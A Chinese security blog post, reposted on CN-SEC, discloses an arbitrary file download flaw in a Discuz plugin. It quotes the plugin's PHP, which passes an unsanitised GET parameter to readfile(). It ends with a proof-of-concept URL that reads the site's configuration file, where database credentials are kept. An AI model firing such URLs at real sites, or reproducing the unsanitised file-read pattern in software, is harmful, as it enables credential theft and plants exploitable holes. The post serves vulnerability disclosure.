Discuz某插件任意本地下载漏洞

没穿底裤 2019年12月31日23:32:35评论443 views字数 993阅读3分18秒阅读模式
摘要

Author:y0umer
插件的下载地址:
http://www.discuz.net/forum.php?mod=viewthread&tid=3169556
然后看代码:
[php]
$doc=$_GET['doc'];
$doc="../../../".$doc;
$filename=$_GET['filename'];
$ext=$_GET['ext'];
//设置文件类型
if($ext=='doc') {$_ext="application/msword";}
if($ext=='xls') {$_ext="application/vnd.ms-excel";}
if($ext=='ppt') {$_ext="application/vnd.ms-powerpoint";}
if($ext=='docx') {$_ext="application/vnd.openxmlformats-officedocument.wordprocessingml.template";}
if($ext=='xlsx') {$_ext="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet";}
if($ext=='pptx') {$_ext="application/vnd.openxmlformats-officedocument.presentationml.presentation";}
if($ext=='pdf') {$_ext="application/pdf";}
if($ext=='txt') {$_ext="application/plain";}
//设置文件头
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Type:'.$_ext);
header('Content-Length:'.filesize($doc));
//读取文件
readfile($doc);
?>
[/php]
$doc居然没经过任何处理就readfile了。。。

Author:y0umer
插件的下载地址:
http://www.discuz.net/forum.php?mod=viewthread&tid=3169556
然后看代码:
[php]
$doc=$_GET['doc'];
$doc="../../../".$doc;
$filename=$_GET['filename'];
$ext=$_GET['ext'];
//设置文件类型
if($ext=='doc') {$_ext="application/msword";}
if($ext=='xls') {$_ext="application/vnd.ms-excel";}
if($ext=='ppt') {$_ext="application/vnd.ms-powerpoint";}
if($ext=='docx') {$_ext="application/vnd.openxmlformats-officedocument.wordprocessingml.template";}
if($ext=='xlsx') {$_ext="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet";}
if($ext=='pptx') {$_ext="application/vnd.openxmlformats-officedocument.presentationml.presentation";}
if($ext=='pdf') {$_ext="application/pdf";}
if($ext=='txt') {$_ext="application/plain";}
//设置文件头
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Type:'.$_ext);
header('Content-Length:'.filesize($doc));
//读取文件
readfile($doc);
?>
[/php]
$doc居然没经过任何处理就readfile了。。。

http://0day5.com/source/plugin/doconline/doconline.php?doc=/config/config_global_default.php

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2019年12月31日23:32:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Discuz某插件任意本地下载漏洞http://cn-sec.com/archives/75306.html

发表评论

匿名网友 填写信息